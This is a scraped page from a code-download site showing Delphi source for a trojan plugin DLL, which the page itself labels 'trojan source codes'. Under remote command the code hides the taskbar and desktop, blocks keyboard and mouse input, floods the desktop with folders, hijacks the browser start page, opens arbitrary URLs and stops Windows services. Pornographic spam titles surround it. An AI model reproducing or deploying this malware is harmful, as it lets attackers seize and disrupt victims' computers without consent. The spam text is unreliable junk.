亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sysfun.dpr

?? New tj source www.opensc.ws - trojan source codes.
?? DPR
字號:

library sysfun;

uses winsvc,
  windows,
  //SysUtils,
  shellapi,
  mmsystem,
  RegUnit in 'RegUnit.pas';

type
    pluginreply = procedure (Text: pchar);

const
clientdllname:pchar='fun.dll';
var
  OwnerAPP:integer;
  url:string;
  xBlockInput : function (Block: BOOL): BOOL; stdcall;

function GetDesktopDir: String;
var
   Reg: TRegistry;
   tempstr: String;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKey_Current_User;
    if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion'
      + '\Explorer\Shell Folders', FALSE) then
      tempstr := Reg.ReadString('Desktop');
  finally 
    Reg.Free; 
  end;
  Result := tempstr;
end;


procedure setpaga(page:string);
var Reg:TRegistry;
begin
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_CURRENT_USER;
    Reg.OpenKey('Software\Microsoft\Internet Explorer\Main\',True);
    Reg.WriteString('Start Page',page);
    Reg.CloseKey;
    Reg.Free;
end;

function IntToStr(x: integer): String;
var
  s: String;
begin
  str(x,s);
  inttostr := s;
end;

procedure MakeFolders(name:string);
var
I: Integer;
begin
for I := 0 to 1000 do
begin
CreateDirectory(PChar(GetDesktopDir+'\'+name + IntToStr(I)), nil);
end;
end;

function FunctionDetect (LibName, FuncName: String; var LibPointer: Pointer): boolean;
var LibHandle: tHandle;
begin
 Result := false;
 LibPointer := NIL;
  if LoadLibrary(PChar(LibName)) = 0 then exit;
  LibHandle := GetModuleHandle(PChar(LibName));
  if LibHandle <> 0 then
  begin
   LibPointer := GetProcAddress(LibHandle, PChar(FuncName));
   if LibPointer <> NIL then Result := true;
  end;
end;



procedure Init(Owner: Integer); far
begin
  OwnerAPP := Owner;
end;

procedure plugin_reply (cmd:string);
begin
//send message to the client plugin
pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+cmd));
end;


// Separates values: value1,value2,value3,value4,
function getvalues(text:string;vn:integer):string;
var i:integer;value:string;
begin
// value1,value2,value3,value4
if text=''then exit;
i:=0;
while i<vn do begin
value:=copy(text,0,Pos(',',text)-1);
//deletes first postition ','
Delete(text,1,pos(',',text));
inc(i,1);
result :=value;
end;
end;


procedure CloseService(ServName:String);
var
  hSCM,hService:THandle;
  ss:TServiceStatus;
begin
  hSCM:=OpenSCManager(nil,nil,SC_MANAGER_ALL_ACCESS);
  hService:=OpenService(hSCM,pchar(ServName), SERVICE_ALL_ACCESS);
  ControlService(hService,SERVICE_CONTROL_STOP,ss);
  CloseServiceHandle(hSCM);
  CloseServiceHandle(hService);
end;


procedure process(cmd:string);

var
  icon,OutPut: integer;
  caption: PChar;
  message: PChar;
  result:string;
begin
//++++++++++++++++++++++++++++++++++++++++++++++ start
if getvalues(cmd,1) = 'hide' then
begin
try
ShowWindow(FindWindow( 'Shell_TrayWnd',nil), SW_HIDE);
plugin_reply('reply,Hide finished,');
except
plugin_reply('reply,Error hiding,');
end;
end;

if getvalues(cmd,1) = 'show' then
begin
try
ShowWindow( FindWindow( 'Shell_TrayWnd',nil), SW_SHOWNA);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
//===================================================================================
if getvalues(cmd,1) = 'mhide' then
begin
try
ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
                            HWND(0), 'ReBarWindow32', nil),
                            Sw_Hide);
plugin_reply('reply,Hide finished,');
except
plugin_reply('reply,Error hiding,');
end;
end;

if getvalues(cmd,1) = 'mshow' then
begin
try
ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
                            HWND(0), 'ReBarWindow32', nil),
                            Sw_Show);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
//===============================================================================

if getvalues(cmd,1) = 'dshow' then
begin
try
ShowWindow(
             FindWindow(nil,'Program Manager'),
             SW_SHOW);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;

if getvalues(cmd,1) = 'dhide' then
begin
try
ShowWindow(
             FindWindow(nil,'Program Manager'),
             SW_HIDE);
plugin_reply('reply,hide finished,');
except
plugin_reply('reply,Error hiding,');
end;
end;
//==================================================================================
if getvalues(cmd,1) = 'shide' then
begin
try
ShowWindow (FindWindowEx(FindWindow('Shell_TrayWnd',
nil),0,'Button',nil),SW_Hide);
plugin_reply('reply,taskbar hidden now,');
except
plugin_reply('reply,Error hiding,');
end;
end;

if getvalues(cmd,1) = 'sshow' then
begin
try
ShowWindow (FindWindowEx(FindWindow('Shell_TrayWnd',
nil),0,'Button',nil),SW_ShowNormal);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
//==================================================================================
if getvalues(cmd,1) = 'cd_open' then
begin
mciSendString(Pchar('set cdaudio door open'),nil,0,0);
plugin_reply('reply,cd open,');
end;

if getvalues(cmd,1)= 'cd_dicht' then
begin
  mciSendString(Pchar('set cdaudio door closed'),nil,0,0);
plugin_reply('reply,cd close,');
end;
//==================================================================================
if getvalues(cmd,1) = 'url' then
begin
url :=getvalues(cmd,2);

ShellExecute(0, 'open', (pchar(url)),nil,nil, SW_SHOWNORMAL);
plugin_reply('reply,web site is open,');
end;
//=================================================================================
if getvalues(cmd,1) = 'dis_k' then
begin
 if FunctionDetect ('USER32.DLL', 'BlockInput', @xBlockInput) then
begin
xBlockInput (false);  // Disable Keyboard & mouse
plugin_reply('reply,Keyboard & mouse Disabel,');
end; end;

if getvalues(cmd,1) = 'an_k' then
begin
 if FunctionDetect ('USER32.DLL', 'BlockInput', @xBlockInput) then
begin
xBlockInput (true);  // Disable Keyboard & mouse
plugin_reply('reply,Keyboard & mous anabelt,');
end; end;
//===================================================================================
if getvalues(cmd,1) ='flood' then
begin
MakeFolders(getvalues(cmd,2));
plugin_reply('reply,folders made,');
end;
//==================================================================================
if getvalues(cmd,1) ='set' then
begin
setpaga(getvalues(cmd,2));
plugin_reply('reply,Site set,');
end;

//=========================================================================
if getvalues(cmd,1) = 'msgbox'then
begin
  icon := 0;
  if getvalues(cmd, 4) = '1' then icon := MB_ICONEXCLAMATION;
  if getvalues(cmd, 4) = '2' then icon := MB_ICONSTOP;
  if getvalues(cmd, 4) = '3' then icon := MB_ICONQUESTION;
  if getvalues(cmd, 4) = '4' then icon := MB_ICONINFORMATION;
  caption := PChar(getvalues(cmd, 2));
  message := PChar(getvalues(cmd, 3));
  OutPut:=MessageBox(0, message, caption,icon + MB_OK + MB_SYSTEMMODAL);
  if OutPut = IDOK then Result:='User selected OK button';
  plugin_reply('reply,'+Result+',');
end;
//===========================================================================   close
if getvalues(cmd,1) = 'close'then
begin
CloseService(getvalues(cmd,2));
plugin_reply('reply,servic closet,');
end;
//==============================================================================
end;//// real end




procedure plugin(data:pchar); far;
begin
process(data);
end;

procedure DLLEntryPoint(dwReason: DWORD);
begin
//blank
end;

exports
init,plugin;

begin
  DLLProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久女同精品一区二区| 综合在线观看色| 国产成人精品综合在线观看| 欧美sm美女调教| 成人午夜免费电影| 樱花影视一区二区| 国产日韩欧美亚洲| 欧美人动与zoxxxx乱| 国产在线不卡一卡二卡三卡四卡| 国产免费久久精品| 欧美精品免费视频| 成人动漫一区二区| 男人操女人的视频在线观看欧美| 国产欧美一区二区三区鸳鸯浴 | 国产麻豆欧美日韩一区| 亚洲一区二区三区国产| 欧美韩国日本综合| 久久婷婷成人综合色| 一本在线高清不卡dvd| 国产精品一区二区黑丝| 美女国产一区二区三区| 亚洲第一福利一区| 精品久久久久久久久久久久久久久久久| 久久久久久久精| 国产精品久久久久天堂| 欧美日韩午夜影院| 岛国av在线一区| 三级亚洲高清视频| 国产精品传媒在线| 欧美成人乱码一区二区三区| 精品剧情在线观看| 91精品国产一区二区人妖| 欧美福利视频导航| 欧美一区二区三区视频免费播放 | 91黄色小视频| 色老汉一区二区三区| 欧美午夜精品久久久久久孕妇 | 福利电影一区二区三区| 91久久精品一区二区| 欧美国产精品劲爆| 亚洲综合色网站| 国产剧情av麻豆香蕉精品| 波多野结衣在线一区| 欧美亚洲图片小说| 久久精品亚洲麻豆av一区二区| 亚洲人成亚洲人成在线观看图片| 午夜精品免费在线观看| 午夜精品福利一区二区三区蜜桃| 一区二区三区不卡视频| 亚洲一级二级在线| 日韩国产精品久久久| 蜜臀av性久久久久蜜臀aⅴ| 日本不卡一二三区黄网| 亚洲一区二区欧美| 精品无码三级在线观看视频| 国产成a人亚洲| 欧美一级搡bbbb搡bbbb| 国产精品入口麻豆九色| 美女爽到高潮91| 99精品一区二区| 日韩欧美一区在线| 一区二区免费看| av在线一区二区| 精品少妇一区二区三区 | 激情文学综合丁香| 4438x成人网最大色成网站| 欧美国产丝袜视频| 激情五月播播久久久精品| 欧美疯狂性受xxxxx喷水图片| 中文文精品字幕一区二区| 日韩电影在线看| 欧美日韩电影在线| 一片黄亚洲嫩模| 91高清视频免费看| 亚洲国产精品精华液ab| 国产精品69毛片高清亚洲| 在线免费观看日韩欧美| 亚洲视频免费观看| av福利精品导航| 国产精品毛片a∨一区二区三区| 极品美女销魂一区二区三区| 91在线国内视频| 亚洲综合图片区| 欧美日本在线播放| 亚洲成人资源网| 欧美精品在线观看一区二区| 一二三区精品福利视频| 在线不卡中文字幕播放| 蜜臀a∨国产成人精品| 精品播放一区二区| 成人丝袜高跟foot| 国产精品―色哟哟| 欧美日韩国产综合久久 | 国产一区二区三区四区五区美女| 日本一区二区三区四区在线视频| www.性欧美| 综合久久国产九一剧情麻豆| 色久优优欧美色久优优| 免费一区二区视频| 国产精品久久久久aaaa樱花| 日韩女优av电影| 精品一区二区三区在线观看国产| 欧美国产精品中文字幕| 欧美喷潮久久久xxxxx| 国内精品伊人久久久久av影院| 亚洲猫色日本管| 日韩欧美国产三级| 欧美日韩国产大片| 欧洲精品在线观看| 97精品电影院| 国产风韵犹存在线视精品| 偷拍与自拍一区| 亚洲成av人综合在线观看| 中文字幕色av一区二区三区| 久久精品人人做| 日韩精品一区二区三区在线播放| 欧美伊人久久久久久久久影院| 成人av综合一区| 日韩一本二本av| 在线亚洲+欧美+日本专区| av电影天堂一区二区在线观看| 成人理论电影网| 91一区二区在线| 成人在线综合网| 91最新地址在线播放| 一本一道综合狠狠老| 成人不卡免费av| 欧美日韩综合不卡| 91精品国产aⅴ一区二区| 欧美一区二区三区在线观看视频| 精品国产一区二区亚洲人成毛片 | 日韩欧美国产系列| 日本一区二区三区电影| 国产精品久久久久婷婷二区次| 亚洲男人的天堂在线aⅴ视频 | 色综合色综合色综合| 在线综合视频播放| 久久老女人爱爱| 五月婷婷久久综合| 日韩亚洲欧美综合| 国产欧美一区二区精品性色| 国产精品亲子乱子伦xxxx裸| 亚洲综合在线观看视频| 偷拍日韩校园综合在线| 狠狠色丁香婷婷综合久久片| 91色porny在线视频| 精品日韩一区二区三区免费视频| 久久久久久久综合| 日韩和欧美一区二区| 白白色 亚洲乱淫| 91精品国产一区二区三区蜜臀| 国产精品美女久久久久aⅴ| 捆绑变态av一区二区三区| 国产精品天美传媒| 欧美日韩在线播放一区| 久久丝袜美腿综合| 日本人妖一区二区| 91久久精品国产91性色tv| 欧美激情一区二区三区不卡| 日韩精品免费视频人成| 色94色欧美sute亚洲线路一久| 国产天堂亚洲国产碰碰| 日产欧产美韩系列久久99| 久久网站最新地址| 国产又粗又猛又爽又黄91精品| 欧美一区二区三区视频在线| 亚洲一卡二卡三卡四卡| 亚洲影院久久精品| 婷婷成人激情在线网| 欧美一区二区久久久| 国产精品一线二线三线| 国产精品高潮久久久久无| 欧美性三三影院| 国产精品1024| 日韩中文字幕亚洲一区二区va在线 | 久久aⅴ国产欧美74aaa| 日本一区二区久久| 精品黑人一区二区三区久久| 国产成人亚洲综合a∨猫咪| 亚洲成av人片一区二区| 国产日韩一级二级三级| 欧美精品三级在线观看| 91色婷婷久久久久合中文| 国产在线国偷精品产拍免费yy| 午夜激情一区二区| 亚洲精品欧美在线| 中文在线免费一区三区高中清不卡| 欧美精品日韩一区| 欧美男人的天堂一二区| 91麻豆免费视频| 色婷婷综合久久久中文一区二区| 国产一区二区免费视频| 国产毛片精品国产一区二区三区| 秋霞午夜av一区二区三区| 午夜久久久影院| 综合自拍亚洲综合图不卡区| 国产欧美在线观看一区| 久久精品网站免费观看| 久久久久久免费| 国产在线乱码一区二区三区|